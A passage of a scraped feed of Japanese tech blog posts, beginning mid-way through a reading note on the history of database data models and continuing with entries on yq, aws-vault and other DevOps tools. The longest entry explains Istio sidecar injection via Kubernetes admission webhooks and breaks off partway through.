1980年代後半から1990年代前半1980年代半ばからオブジェクト指向DBMS(OODB)に関心が集まった。この流れはリレーショナルデータベースとC++をはじめとしたオブジェクト指向言語との間のインピーダンスミスマッチに起因するものであった。1970年末期、RDBでは独自の命名システム、データ型、クエリの結果を持ち、またプログラミング言語もそれらに対する独自のシステムを持っていた。データベースとプログラミング言語がそれぞれにやり取りするための仕組みを提供する必要があった。DBMSとプログラミング言語をより密結合させる機能を実装する流れができ、特に永続的プログラミング言語(persistent programming language)というプログラミング言語の変数でディスクベースのデータをメモリに乗ったデータのように扱う方法などを提供する言語を実装しようとした。プログラミング言語の取り組みはプログラミング言語の専門家には受け入れられず一般化することはなかった。このような経緯とC++の興盛があり1980年半ばに永続的プログラミング言語が再度注目され、またオブジェクト指向データベース(OODB)の研究が盛んになった。OODBではC++をデータモデルとしてサポートし、その結果C++のオブジェクトを永続化した。永続化C++はエンジニア市場に訴求するために1. 問い合わせはC++オブジェクトを通して参照する、2. トランザクション管理を行わない、3. 従来のC++と競争できるランタイムを提供する、といった要件を定めた。コメント: ORMマッパーのようなプログラム側でよしなにするのではなくDBMSで対処しようとするのが実にデータベース脳しかし以下のような理由からすべてのOODBベンダーは失敗した。OODBベンダーはデータのロード、アンロード機能を提供したが多くの顧客はそれに大金を払うほどの価値を見出さなかったスタンダードが存在せず、全てのOODBは互換性がなかった永続化されたオブジェクトのなにかが変更された場合、それを使用するすべてのプログラムは再読込を必要としたC++以外で書かれたアプリケーションが一つでもあるとOODBのデータを共有できなかった加えてOODBはトランザクション管理がなくビジネスデータを扱うには貧弱で、プログラムがデータベース上のすべてのデータにアクセスできる。そしてCODASYL時代と同様record-at-a-timeのクエリしか提供しないといった理由から市場に浸透することはなかった。これらのOODB時代から以下の教訓を得られる。システムは大きな課題を解決できなければ売れない永続的プログラミング言語はプログラミング言語のコミュニティからのサポートがなければ成功しないオブジェクトリレーショナル: 1980年代後半から1990年代前半オブジェクトリレーショナル(OR)時代はINGRESで地理情報システム(GIS)を扱いたいというモチベーションから始まった。INGRESSのB-treeでは一次元アクセスしか実装されておらず、簡単なGIS検索をSQLで表現することが難しく普通のB-treeで処理しようとすると非常に性能が悪かった。初期のRDBでは整数型、フロート型、文字列型と基本的なオペレータ、B-treeによるデータアクセスのみがサポートされていたが、GISをはじめとしたそれ以外のデータ型とアクセス方法を必要とする市場があった。そのような状況に対応するためORはユーザー定義のデータ型、オペレータ、関数、そしてアクセスメソッドの機能をSQLエンジンに追加した。その機能を搭載したプロトタイプとして1986年にPostgresが発表した。GISのような多次元インデックスに対応するためQuad treeやR-treeが提案され、高性能GIS DBMSを構築することができた。時をおなじくして、Sybaseがストアドプロシージャを開発した。これによりアプリケーションとDBMSの間で処理を少ないやり取りに減らすことができ、アプリケーションのパフォーマンスを効率化することができた。オブジェクト指向RDBMSとなった。当時PostgresはIlustraにより商用化され数年間は市場を探すことに苦労したものの、その後のインターネットの流行の波に乗りサイバースペースのデータベース(the data base for cyberspace)として成功を収めた。Postgresによって発展したOR技術はOracleなどにも適用され、またXMLのサポートにも使われている(た)。一方でOR技術はスタンダードが存在しないためビジネスでの仕様がはばかられた。我々はこのPostgresとオブジェクトリレーショナルから以下の学びを得られた。オブジェクトリレーショナルのメリットは以下の2つであるデータベースにコードをのせられる(またコードとデータの境界を曖昧にする)ユーザー定義アクセスメソッドの提供新しい技術を広げるにはスタンダードか大手によるゴリ押しが必須セミ構造化: 1990年代後半から現在(2006年当時)直近5年(2006年当時のため2000年ごろ)、セミ構造化データの研究の波が来ている。特にXMLを中心としたXMLSchemaやXQueryと行った技術である。それぞれの研究の共通点として特に下記の2つがある。Schema Last(データが先)複雑なネットワーク指向データモデル(XMLデータモデル)Schema Lastセミ構造化以前のデータモデルではデータをDBMSのに蓄積するためにはスキーマが必要であった。一方でセミ構造化データではスキーマ定義を後回し、または定義せずデータインスタンス自体が構造を説明する方式を取った。アトリビュートがメタデータを持つ必要がある。一方でそのようなデータは同一データタイプのインスタンス同士を比較することが難しい。なぜなら同じオブジェクトの情報が同じ表現をしていることとは限らないからである。このような状態をセマンティック異質性(semantic heterogeneity)と呼ぶ。データは以下の4種類に分類することができる。完全な構造化データいくらかのフィールド名を含む完全な構造化データセミ構造化データテキストデータSchema Lastアプローチを取れるのは3つ目のセミ構造化のみである。なぜなら1,2はORDBMSとして扱われるデータであり、4のテキストデータは完全にスキーマが存在しないからである。またそのようなデータは控えめな量であり、Schema lastデータベースはニッチなマーケットと言えるだろう。コメント: 2023年現在、確かに筆頭ではないもののニッチと言うには大きめな需要だと考える複雑なネットワーク指向データモデル(XMLデータモデル)XMLデータモデルはDocument Type Definitions(DTDs)またはXMLSchemaにより記載されるデータで、DBMS研究者のコミュニティでは欠陥があると考えられている。なぜならこれらの標準は今まで提案されたすべてのデータモデルの仕様を含み、十分複雑な仕様含むからである。例えばXMLSchemaは以下のような特徴がある。IMSのように階層化できるCODASYLやGem、SDMのように参照できるSDMのようにセット・アトリビュートを持てるSDMのように他のレコードを継承できるこれらに加えXMLSchemaはDBMSコミュニティがその複雑さのために既存のデータモデルには用いなかった、union type(一つのアトリビュートが複数のデータ型を取れる機能)などを実装している。XMLSchema以上に複雑なデータモデルも過去には存在していた。これほど複雑なデータモデルについて考察することは難しいが、以下の様なシナリオが考えられる。XMLSchemaはその複雑さから失敗するよりシンプルなXMLSchemaのデータ指向なサブセットが提案されるXMLSchemaはIMSやCODASYLと同様の問題を抱えながらも成功するコメント: 2023年現在JSONは2番目のシナリオのもと十分に成功したと言えるセミ構造化データのサマリXMLデータモデルはその複数の機能からまとめることは難しいが、XMLは通信をまたいで連携するためのデータモデルとして成功しあらゆるシステムはXMLデータの送受信に備えることになるだろう。コメント: 2023年現在ではJSONで置き換えられつつあるとはいえ、セミ構造化データが連携用データモデルとして成功したと言える理由は簡単で他のデータフォーマットがファイアウォールを超えることができない一方で、XMLはシステム間の成約をこう得てプレーンテキストとしてやり取りすることができるためである。XML DBMSは(2006年)現在主流なDBMSと競争することのできるパフォーマンスのエンジンとなると思われるが、Schema Lastは限られた市場でのものになるだろう。次にXqueryは複数ベンダーのOR SQLシステムをマッピングできるサブセットとなるだろう。XqueryをUDFとして定義することは難しくないため、既存のエンジンの上にXQuery関数をUDFとして定義することでSQLインターフェースの上に実装されるだろう。コメント: 実際2023年現在に主流なDBMSであるOracle、MySQL、PostgreSQLはいずれもXqueryとXML機能を提供しているまたXMLは時折セマンティック異質性(semantic heterogeneity)を解決すると考えられているがそのようなことはないだろう。これらのセミ構造化データとXMLはから以下のレッスンが得られる。Schema Lastはおそらくニッチな市場になるだろうXQueryはほぼOR SQLの別のシンタックスとなるだろうXMLはエンタープライズにおけるセマンティック異質性は解決しないまとめ(Full Circle)このペーパーでは30年間のデータモデルの変遷を追って来たが、30年間で一周したと言えるだろう。XMLによる再びの複雑さである。1980年代前半にCODASYLとリレーショナルの対立を経験したものはXMLのの成功を疑っている。歴史と同じ過ちを繰り返さないためにはすでにその道をたどった人々の肩の上に乗ることが重要である。it is always wise to stand on the shoulders of those who went before, rather than on their feet.直近の20年(1980年から2000年にかけて)本質的に新しかったデータモデルのアイデアはデータベース上のコード(オブジェクトリレーショナルから)Schema last(セミ構造化から)のみであった。注釈https://www.imagazine.co.jp/ims-data-solution/)より↩","link":"https://nnaka2992.hatenablog.com/entry/cmu_reading_assignments/1_history_of_database","isoDate":"2023-01-29T17:44:04.000Z","dateMiliSeconds":1675014244000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"GitLabで指定したグループ内の全てのリポジトリを一括でcloneする","contentSnippet":"概要1個1個丹精込めて手動でcloneすることに限界を感じたので、一括で自分に関連するリポジトリをcloneする シェルスクリプト.zshrc# リポジトリのディレクトリを作成してからcloneする# 第1引数 URL(https://gitlab.example.com/diaspora/diaspora-client.git)function git_clone_to_path() { [[ -z ${commands[git]} ]] \\\\ && { echo \'git is required\'; return 1; } loca...","link":"https://zenn.dev/tayusa/articles/ae5911391c9440","isoDate":"2023-01-29T17:07:31.000Z","dateMiliSeconds":1675012051000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"ArtifactHUBについてのメモ","contentSnippet":"ArtifactHUB というコンテナイメージHelm Chartなどを登録・検索することのできるツールを試してみたのでメモ。https://artifacthub.io/ ArtifactHUB についてコンテナイメージHelm Chartなどを「リポジトリ」として登録・検索することができるよう。登録できるリポジトリの種類は下記で確認できる。https://artifacthub.io/docs/topics/repositories/アカウント登録方法は現在下記の3つがあるemailgithubgoogle リポジトリの登録リポジトリ登...","link":"https://zenn.dev/bells17/articles/artifacthub-note","isoDate":"2023-01-21T18:21:58.000Z","dateMiliSeconds":1674325318000,"authorName":"bells17","authorId":"bells17"},{"title":"container-structure-testによるコンテナのテスト","contentSnippet":"Googleが作成しているcontainer-structure-testというコンテナをテストするツールを試したのでメモ。かなり単純なツールなのでぶっちゃけREADMEに書いてあることを読めばわかるんだけど一応情報をまとめた。https://github.com/GoogleContainerTools/container-structure-testGoogleのブログで紹介されている記事はこちら。https://opensource.googleblog.com/2018/01/container-structure-tests-unit-tests.html cont...","link":"https://zenn.dev/bells17/articles/container-structure-test","isoDate":"2023-01-21T10:54:17.000Z","dateMiliSeconds":1674298457000,"authorName":"bells17","authorId":"bells17"},{"title":"aws-vault のすすめ","contentSnippet":"aws-vault とは AWS の認証情報をローカルに安全に保管する事が出来る CLI ツール GitHub Star 7K⭐ (2022-12-22現在) brew で下記のコマンドのようにインストール可能 リポジト […]The post aws-vault のすすめ first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/aws-vault/","isoDate":"2023-01-19T05:45:36.000Z","dateMiliSeconds":1674107136000,"authorName":"Sreake","authorId":"Sreake"},{"title":"yaml 管理を自動化する時の必須道具 yq(v4) の倒し方","contentSnippet":"yq とはyq はgoで書かれている軽量でポータブルなコマンドライン YAML、JSON、XML プロセッサです。yq は jq に似た構文を使用しますが、json、xml、properties、csv、tsv と同様に yaml ファイルを処理します。記事の執筆時点の2023 年01月17日時点でv4.30.8 がリリースされています。github.comyqyq のv4 はv3 とはかなり異なっています。v3 で端的に書けていたものが、v4 ではより表現力のある構文言語となった結果としてちょっと冗長になったように思えるんですけどjq っぽいので慣れてしまえばよいものだとおもいます 。mikefarah.gitbook.ioyq 使ってみる今回の目的はapplication/deployment.yaml のimageの値をnginx:1.14.2をnginx:1.23.3に書き換えたいと思います。yaml をCIで変更するなんてなんぼでもやってますからね。Path などの概念については説明を省略します。普通にシェル芸としてやっていくときには1日1問、半年以内に習得　シェル・ワンライナー160本ノックなどを参考にすると良い。apiVersion: apps/v1kind: Deploymentmetadata: name: nginx-deploymentspec: selector: matchLabels: app: nginx replicas: 2 # tells deployment to run 2 pods matching the template template: metadata: labels: app: nginx spec: containers: - name: nginx image: nginx:1.14.2 # 書き換えたいんじゃ ports: - containerPort: 80yq(v4) 使ってみるyq(v4) でreadyq \'.spec.template.spec.containers[0].image\' deployment.yamlnginx:1.14.2yq(v4) でwriteyq -i \'.spec.template.spec.containers[0].image = \\"nginx:1.23.3\\"\' deployment.yaml確認します。yq \'.spec.template.spec.containers[0].image\' deployment.yamlnginx:1.23.3で目的達成しました簡単！yq(v3) との違いyq(v3) にはwriteやreadなどのサブコマンドが撤廃されたので準拠した書き方を覚える必要があると思います。mikefarah.gitbook.ioyq(v4) での変数利用yq(v4)ではstrenv()を利用することで変数を利用することができるIMAGE=nginx yq -i \'.spec.template.spec.containers[0].image = strenv(IMAGE)\' deployment.yaml確認します。yq \'.spec.template.spec.containers[0].image\' deployment.yaml nginxﾔｯﾀﾈ!!左辺にはこちら代入できないみたいなのでそのときには作成してからyq に読むこませると良いみたい(他にいい方法があれば教えてほしいです)。 YQ_INPLACE=\\".${EXE_APP}.image.tag = \\\\\\"${TAG_HASH}\\\\\\"\\" yq -i \\"${YQ_INPLACE}\\" \\"$CHANGE_FILE\\"おわりv3 -> v4 には変更点がいくつかあります。皆さんもCIで使っている時は気をつけましょう。あとはCI で書き換えで使っている時は-vを使っておきましょう。1日1問、半年以内に習得　シェル・ワンライナー160本ノック Software Design plus作者:上田 隆一,山田 泰宏,田代 勝也,中村 壮一,今泉 光之,上杉 尚史技術評論社Amazon","link":"https://syu-m-5151.hatenablog.com/entry/2023/01/17/011521","isoDate":"2023-01-16T16:15:21.000Z","dateMiliSeconds":1673885721000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"【Istio⛵️】Istioのサービスメッシュとサイドカーインジェクションの仕組み","contentSnippet":"この記事から得られる知識この記事を読むと、以下を \\"完全に理解\\" できます✌️代表的なサービスメッシュの種類についてIstioのサイドカーインジェクションの仕組みについてこの記事から得られる知識01. はじめに02. サイドカーによるサービスメッシュなぜサイドカーが必要なのかサイドカープロキシメッシュ03. admission-controllersアドオンについてadmission-controllersアドオンとはadmissionプラグインの種類MutatingAdmissionWebhookプラグインMutatingAdmissionWebhookプラグインとはAdmissionReview、AdmissionRequest、AdmissionResponse▼ AdmissionReview▼ AdmissionRequest▼ AdmissionResponse04. サイドカーインジェクションの仕組み全体のフロークライアント ➡︎ kube-apiserverここで説明するフロー箇所(1) Podの作成をリクエストkube-apiserver ➡︎ Serviceここで説明するフロー箇所(2) 認証/認可処理をコール(3) アドオンの処理をコール(4) AdmissionRequestに値を詰める(5) AdmissionReviewを送信Service ➡︎ webhookサーバーここで説明するフロー箇所(6) 15017番ポートにポートフォワーディングkube-apiserver ⬅︎ Service ⬅︎ webhookサーバー (※逆向きの矢印)ここで説明するフロー箇所(7) patch処理を定義(8) AdmissionResponseに値を詰める(9) AdmissionReviewを返信kube-apiserver ➡︎ etcdここで説明するフロー箇所(10) patch処理をコール(11) マニフェストを永続化クライアント ⬅︎ kube-apiserverここで説明するフロー箇所(12) コール完了を返信以降の仕組み05. おわりに01. はじめに推し (Istio) が尊い\uD83D\uDE4F\uD83D\uDE4F\uD83D\uDE4Fさて、前回の記事の時と同様に、最近の業務でもオンプレとAWS上のIstio⛵️をひたすら子守りしています。今回は、子守りの前提知識の復習もかねて、サービスメッシュを実装するIstioのサイドカーインジェクションを記事で解説しました。解説するのは、執筆時点 (2023/01/14) 時点で最新の 1.14 系のIstioです。執筆時点 (2023/01/14) では、Istioが実装するサービメッシュには、『サイドカープロキシメッシュ』と『アンビエントメッシュ』があります。サイドカープロキシメッシュの仕組みの軸になっているものは、サイドカーコンテナであるistio-proxyコンテナです。Istioは、KubernetesのPodの作成時に、istio-proxyコンテナをPod内に自動的にインジェクション (注入) しますそれでは、もりもり布教していきます\uD83D\uDE1702. サイドカーによるサービスメッシュなぜサイドカーが必要なのかそもそも、なぜサービスメッシュでサイドカーが必要になったのでしょうか。マイクロサービスアーキテクチャのシステムには、アーキテクチャ固有のインフラ領域の問題 (例：サービスディスカバリーの必要性、マイクロサービス間通信の暗号化、テレメトリー作成、など) があります。アプリエンジニアが各マイクロサービス内にインフラ領域の問題に関するロジックを実装すれば、これらの問題の解決できます。しかし、アプリエンジニアはアプリ領域の問題に責務を持ち、インフラ領域の問題はインフラエンジニアで解決するようにした方が、互いに効率的に開発できます。そこで、インフラ領域の問題を解決するロジックをサイドカーとして切り分けます。これにより、アプリエンジニアとインフラエンジニアの責務を分離可能になり、凝集度が高くなります。また、インフラ領域の共通ロジックをサイドカーとして各マイクロサービスに提供できるため、単純性が高まります。こういった流れの中で、サイドカーを使用したサービスメッシュが登場しました。servicemesh.es | Service Mesh ComparisonWhat is Service Mesh and Why is it Necessary?サイドカープロキシメッシュIstioのサイドカーによるサービスメッシュ (サイドカープロキシメッシュ) は、サイドカーコンテナ (istio-proxyコンテナ) が稼働するデータプレーンサイドカーを中央集権的に管理するIstiod (discoveryコンテナ) が稼働するコントロールプレーンからなります。Istio / Architecture03. admission-controllersアドオンについてadmission-controllersアドオンとはIstioのPod内へのサイドカーインジェクションの前提知識として、admission-controllersアドオンを理解する必要があります。もし、admission-controllersアドオンをご存知の方は、 04. サイドカーインジェクションの仕組み まで飛ばしてください\uD83D\uDE47\uD83C\uDFFB‍kube-apiserverでは、admission-controllersアドオンを有効化できます。有効化すると、認証ステップと認可ステップの後にmutating-admissionステップとvalidating-admissionステップを実行でき、admissionプラグインの種類に応じた処理を挿入できます。クライアント (kubectlクライアント、Kubernetesリソース) からのリクエスト (例：Kubernetesリソースに対する作成/更新/削除、kube-apiserverからのプロキシへの転送) 時に、各ステップでadmissionプラグインによる処理 (例：アドオンビルトイン処理、独自処理) を発火させられます。Admission Controllers Reference | KubernetesKubernetes Best Practices: Blueprints for Building Successful Applications on Kubernetesadmissionプラグインの種類admission-controllersアドオンのadmissionプラグインには、たくさんの種類があります。IstioがPod内にサイドカーをインジェクションする時に使用しているアドオンは、『MutatingAdmissionWebhook』です。CertificateApprovalCertificateSigningCertificateSubjectRestrictionDefaultIngressClassDefaultStorageClassDefaultTolerationSecondsLimitRanger\\"MutatingAdmissionWebhook\\" \uD83D\uDC48 これNamespaceLifecyclePersistentVolumeClaimResizePodSecurityPriorityResourceQuotaRuntimeClassServiceAccountStorageObjectInUseProtectionTaintNodesByConditionValidatingAdmissionWebhookAdmission Controllers Reference | KubernetesMutatingAdmissionWebhookプラグインMutatingAdmissionWebhookプラグインとはMutatingAdmissionWebhookプラグインを使用すると、mutating-admissionステップ時に、リクエスト内容を変更する処理をフックできます。フックする具体的な処理として、webhookサーバーにAdmissionRequestリクエストとして送信することにより、レスポンスのAdmissionResponseに応じてリクエスト内容を動的に変更します。MutatingWebhookConfigurationで、MutatingAdmissionWebhookプラグインの発火条件やwebhookサーバーの宛先情報を設定します。MutatingWebhookConfigurationの具体的な実装については、サイドカーインジェクションの仕組みの中で説明していきます。Diving into Kubernetes MutatingAdmissionWebhook | by Morven Cao | IBM Cloud | MediumKubernetes Admission Webhook覚書き - gashirar\'s blogAdmission Webhookを作って遊んで、その仕組みを理解しよう（説明編）AdmissionReview、AdmissionRequest、AdmissionResponse▼ AdmissionReviewAdmissionReviewは以下のようなJSONであり、kube-apiserverとwebhookサーバーの間でAdmissionRequestとAdmissionResponseを運びます。{ \\"apiVersion\\": \\"admission.k8s.io/v1\\", \\"kind\\": \\"AdmissionReview\\", # AdmissionRequest \\"request\\": {}, # AdmissionResponse \\"response\\": {},}v1 package - k8s.io/api/admission/v1 - Go Packages▼ AdmissionRequestAdmissionRequestは以下のようなJSONです。kube-apiserverがクライアントから受信した操作内容が持つことがわかります。例で挙げたAdmissionRequestでは、クライアントがDeploymentをCREATE操作するリクエストをkube-apiserverに送信したことがわかります。{ \\"apiVersion\\": \\"admission.k8s.io/v1\\", \\"kind\\": \\"AdmissionReview\\", # AdmissionRequest \\"request\\": { ... # 変更されるKubernetesリソースの種類を表す。 \\"resource\\": { \\"group\\": \\"apps\\", \\"version\\": \\"v1\\", \\"resource\\": \\"deployments\\" }, # kube-apiserverの操作の種類を表す。 \\"operation\\": \\"CREATE\\", ... }}Dynamic Admission Control | Kubernetes▼ AdmissionResponse一方でAdmissionResponseは、例えば以下のようなJSONです。AdmissionResponseは、マニフェスト変更処理をpatchキーの値に持ち、これはbase64方式でエンコードされています。{ \\"apiVersion\\": \\"admission.k8s.io/v1\\", \\"kind\\": \\"AdmissionReview\\", # AdmissionResponse \\"response\\": { \\"uid\\": \\"\\", # 宛先のwebhookサーバーが受信したか否かを表す。 \\"allowed\\": true, # PathによるPatch処理を行う。 \\"patchType\\": \\"JSONPatch\\", # Patch処理の対象となるKubernetesリソースと処理内容を表す。base64方式でエンコードされている。 \\"patch\\": \\"W3sib3AiOiAiYWRkIiwgInBhdGgiOiAiL3NwZWMvcmVwbGljYXMiLCAidmFsdWUiOiAzfV0=\\", },}エンコード値をデコードしてみると、例えば以下のようなpatch処理が定義されています。# patchキーをbase64方式でデコードした場合[{\\"op\\": \\"add\\", \\"path\\": \\"/spec/replicas\\", \\"value\\": 3}]マニフェストに対する操作 (op) 、キー (path) 、値 (value) が設定されています。kube-apiserverがこれを受信すると、指定されたキー (.spec.replicas) に値 (3) に追加します。Dynamic Admission Control | Kubernetes04. サイドカーインジェクションの仕組み全体のフロー前提知識を踏まえた上で、admission-controllersアドオンの仕組みの中で、サイドカーのistio-proxyコンテナがどのようにPodにインジェクションされるのかを見ていきましょう。最初に、サイドカーインジェクションのフローは以下の通りになっています。(画像はタブ開き閲覧を推奨)Istio in Action (English Edition)クライアント ➡︎ kube-apiserverここで説明するフロー箇所『クライアント ➡︎ kube-apiserver』の箇所を説明します。(画像はタブ開き閲覧を推奨)(1) Podの作成をリクエストまずは、クライアントがkube-apiserverにリクエストを送信するところです。クライアント (Deployment、DaemonSet、StatefulSet、を含む) は、Podの作成リクエストをkube-apiserverに送信します。この時のリクエスト内容は、以下の通りとします。# Podを作成する。$ kubectl apply -f foo-pod.yaml# foo-pod.yamlファイルapiVersion: v1kind: Podmetadata: name: foo-pod namespace: foo-namespacespec: containers: - name: foo image: foo:1.0.0 ports: - containerPort: 80またNamespaceでは、あらかじめistio-proxyコンテナのインジェクションが有効化されているとします。Istioではv1.10以降、リビジョンの番号のエイリアスを使用して、istio-proxyコンテナのインジェクションを有効化するようになりました。apiVersion: v1kind: Namespacemetadata: name: foo-namespace labels: # istio-proxyコンテナのインジェクションを有効化する。 # エイリアスは自由 istio.io/rev: <エイリアス>Istio / Announcing Support for 1.8 to 1.10 Direct Upgradesistio.io/revラベル値は、どんなエイリアスでもよいです。よくあるエイリアスとしてdefaultやstableなどを使用します\uD83D\uDC4Dkube-apiserver ➡︎ Serviceここで説明するフロー箇所『kube-apiserver ➡︎ Service』の箇所を説明します。(画像はタブ開き閲覧を推奨)(2) 認証/認可処理をコールkube-apiserverは、認証ステップと認可ステップにて、クライアントからのリクエストを許可します。(3) アドオンの処理をコールkube-apiserverは、mutating-admissionステップにて、MutatingAdmissionWebhookプラグインの処理をコールします。前提知識の部分で具体的な実装を省略しましたが、Istioのバージョン1.14.3時点で、MutatingWebhookConfigurationは以下のようになっています。Namespaceでサイドカーインジェクションを有効化する時に使用したエイリアスは、このMutatingWebhookConfigurationで実体のリビジョン番号と紐づいています。$ kubectl get mutatingwebhookconfiguration istio-revision-tag-default -o yamlapiVersion: admissionregistration.k8s.io/v1beta1kind: MutatingWebhookConfigurationmetadata: name: istio-revision-tag-default labels: app: sidecar-injector # エイリアスの実体 istio.io/rev: <リビジョン番号> # リビジョン番号のエイリアス istio.io/tag: <エイリアス>webhooks: - name: rev.namespace.sidecar-injector.istio.io # MutatingAdmissionWebhookプラグインの処理の発火条件を登録する。 rules: - apiGroups: [\\"\\"] apiVersions: [\\"v1\\"] operations: [\\"CREATE\\"] resources: [\\"pods\\"] scope: \\"*\\" # Webhookの前段にあるServiceの情報を登録する。 clientConfig: service: name: istiod-<リビジョン番号> namespace: istio-system path: \\"/inject\\" # エンドポイント port: 443 caBundle: Ci0tLS0tQk ... # Namespace単位のサイドカーインジェクション # 特定のNamespaceでMutatingAdmissionWebhookプラグインの処理を発火させる。 namespaceSelector: matchExpressions: - key: istio.io/rev operator: DoesNotExist - key: istio-injection operator: DoesNotExist # Pod単位のサイドカーインジェクション # 特定のオブジェクトでMutatingAdmissionWebhookプラグインの処理を発火させる。 objectSelector: matchExpressions: - key: sidecar.istio.io/inject operator: NotIn values: - \\"false\\" - key: istio.io/rev operator: In values: - <エイリアス> ...MutatingWebhookConfigurationには、MutatingAdmissionWebhookプラグインの発火条件やwebhookサーバーの宛先情報を定義します。MutatingAdmissionWebhookプラグインの発火条件に関して、例えばIstioでは、 NamespaceやPod.metadata.labelsキーに応じてサイドカーインジェクションの有効化/無効化を切り替えることができ、これをMutatingAdmissionWebhookプラグインで制御しています。webhookサーバーの宛先情報に関して、Istioではwebhookサーバーの前段にServiceを配置しています。MutatingAdmissionWebhookプラグインが発火した場合、Serviceの/inject:443にHTTPSプロトコルのリクエストを送信するようになっています。また、宛先のServiceの名前がistiod-<リビジョン番号>となっていることからもわかるように、Serviceは特定のバージョンのIstiodコントロールプレーンに対応しており、想定外のバージョンのIstiodコントロールプレーンを指定しないように制御しています。一方で発火しなかった場合には、以降のAdmissionReviewの処理には進みません。(4) AdmissionRequestに値を詰めるkube-apiserverは、mutating-admissionステップにて、クライアントからのリクエスト内容 (Podの作成リクエスト) をAdmissionReveiew構造体のAdmissionRequestに詰めます。{ \\"apiVersion\\": \\"admission.k8s.io/v1\\", \\"kind\\": \\"AdmissionReview\\", # AdmissionRequest \\"request\\": { ... # 変更されるKubernetesリソースの種類を表す。 \\"resource\\": { \\"group\\": \\"core\\", \\"version\\": \\"v1\\", \\"resource\\": \\"pods\\" }, # kube-apiserverの操作の種類を表す。 \\"operation\\": \\"CREATE\\", ... }}(5) AdmissionReviewを送信kube-apiserverは、mutating-admissionステップにて、Serviceの/inject:443にAdmissionReview構造体を送信します。Service ➡︎ webhookサーバーここで説明するフロー箇所『Service ➡︎ webhookサーバー』の箇所を説明します。(画像はタブ開き閲覧を推奨)(6) 15017番ポートにポートフォワーディングServiceは、/inject:443でリクエストを受信し、discoveryコンテナの15017番ポートにポートフォワーディングします。Istioのバージョン1.14.3時点で、Serviceは以下のようになっています。$ kubectl get svc istiod-service -n istio-system -o yamlapiVersion: v1kind: Servicemetadata: labels: app: istiod name: istiod-<リビジョン番号> namespace: istio-systemspec: type: ClusterIP selector: app: istiod istio.io/rev: <リビジョン番号> ports: - name: grpc-xds port: 15010 protocol: TCP targetPort: 15010 - name: https-dns port: 15012 protocol: TCP targetPort: 15012 # webhookサーバーにポートフォワーディングする。 - name: https-webhook port: 443 protocol: TCP targetPort: 15017 - name: http-monitoring port: 15014 protocol: TCP targetPort: 15014.spec.selector.istio.io/revキーに、ポートフォワーディング先のPodを指定するためのリビジョン番号が設定されており、このPodはdiscoveryコンテナを持ちます。Istioは、discoveryコンテナ内でwebhookサーバーを実行し、15017番ポートでリクエストを待ち受けます。< class=\\"text-box\\">ここで、discoveryコンテナがリクエストを待ち受けているポート番号を見てみると、15017番ポートでリッスンしていることを確認できます\uD83D\uDC4D$ kubectl exec foo-istiod -n istio-system -- netstat -tulpnActive Internet connections (only servers)Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program nametcp 0 0 127.0.0.1:9876 0.0.0.0:* LISTEN 1/pilot-discoverytcp6 0 0 :::15017 :::* LISTEN 1/pilot-discoverytcp6 0 0 :::8080 :::* LISTEN 1/pilot-discoverytcp6 0 0 :::15010 :::* LISTEN 1/pilot-discoverytcp6 0 0 :::15012 :::* LISTEN 1/pilot-discoverytcp6 0 0 :::15014 :::* LISTEN 1/pilot-discoveryistio/pkg/kube/inject/webhook.go at 1.14.3 \xb7 istio/istio \xb7 GitHubIstio / Application Requirementskube-apiserver ⬅︎ Service ⬅︎ webhookサーバー (※逆向きの矢印)ここで説明するフロー箇所『kube-apiserver ⬅︎ Service ⬅︎ webhookサーバー』の箇所を説明します。矢印が逆向きなことに注意してください。(画像はタブ開き閲覧を推奨)(7) patch処理を定義仕組みの中でも、ここは重要な部分です。discoveryコンテナ内のwebhookサーバーは、リクエスト内容を書き換えるためのpatch処理を定義します。webhookサーバーは、マニフェストの.spec.containers[1]パスにistio-proxyキーを追加させるようなpatch処理を定義します。この定義によって、結果的にサイドカーのインジェクションが起こるということになります。[ ... { \\"op\\": \\"add\\", # .spec.initContainers[1] を指定する。 \\"path\\": \\"/spec/initContainers/1\\", # マニフェストに追加される構造を表す。 \\"value\\": { \\"name\\": \\"istio-init\\", \\"resources\\": { ... } } }, { \\"op\\": \\"add\\", # .spec.containers[1] を指定する。 \\"path\\": \\"/spec/containers/1\\", # マニフェストに追加される構造を表す。 \\"value\\": { \\"name\\": \\"istio-proxy\\", \\"resources\\": { ... } } } ...]istio/pkg/kube/inject/webhook.go at 1.14.3 \xb7 istio/istio \xb7 GitHubistio/pkg/kube/inject/webhook_test.go at 1.14.3 \xb7 istio/istio \xb7 GitHubこの時、サイドカーのテンプレートに割り当てられた値が、patch処理を内容を決めます。type SidecarTemplateData struct { TypeMeta metav1.TypeMeta DeploymentMeta metav1.ObjectMeta ObjectMeta metav1.ObjectMeta Spec corev1.PodSpec ProxyConfig *meshconfig.ProxyConfig MeshConfig *meshconfig.MeshConfig Values map[string]interface{} Revision string EstimatedConcurrency int ProxyImage string}...istio/pkg/kube/inject/inject.go at 1.14.3 \xb7 istio/istio \xb7 GitHubサイドカーコンテナのistio-proxyコンテナの他に、InitContainerのistio-initコンテナもインジェクション可能にします。このistio-initコンテナは、istio-proxyコンテナを持つPodです。インバウンド/アウトバウンド通信の経路を制御するために、Pod内にiptablesのルールを適用する責務を担っています\uD83D\uDCAA\uD83C\uDFFBIstio Sidecar\'s interception mechanism for traffic - SoByte(8) AdmissionResponseに値を詰めるdiscoveryコンテナ内のwebhookサーバーは、patch処理の定義をAdmissionReveiew構造体のAdmissionResponseに詰めます。patchキーの値に、先ほどのpatch処理の定義をbase64方式でエンコードした文字列が割り当てられています。{ \\"apiVersion\\": \\"admission.k8s.io/v1\\", \\"kind\\": \\"AdmissionReview\\", # AdmissionResponse \\"response\\": { \\"uid\\": \\"*****\\", \\"allowed\\": true, \\"patchType\\": \\"JSONPatch\\", # Patch処理の対象となるKubernetesリソースと処理内容を表す。base64方式でエンコードされている。 \\"patch\\": \\"<先ほどのpatch処理の定義をbase64方式でエンコードした文字列>\\", },}istio/pkg/kube/inject/webhook.go at 1.14.3 \xb7 istio/istio \xb7 GitHub(9) AdmissionReviewを返信discoveryコンテナ内のwebhookサーバーは、AdmissionReview構造体をレスポンスとしてkube-apiserverに返信します。kube-apiserver ➡︎ etcdここで説明するフロー箇所『kube-apiserver ➡︎ etcd』の箇所を説明します。(画像はタブ開き閲覧を推奨)(10) 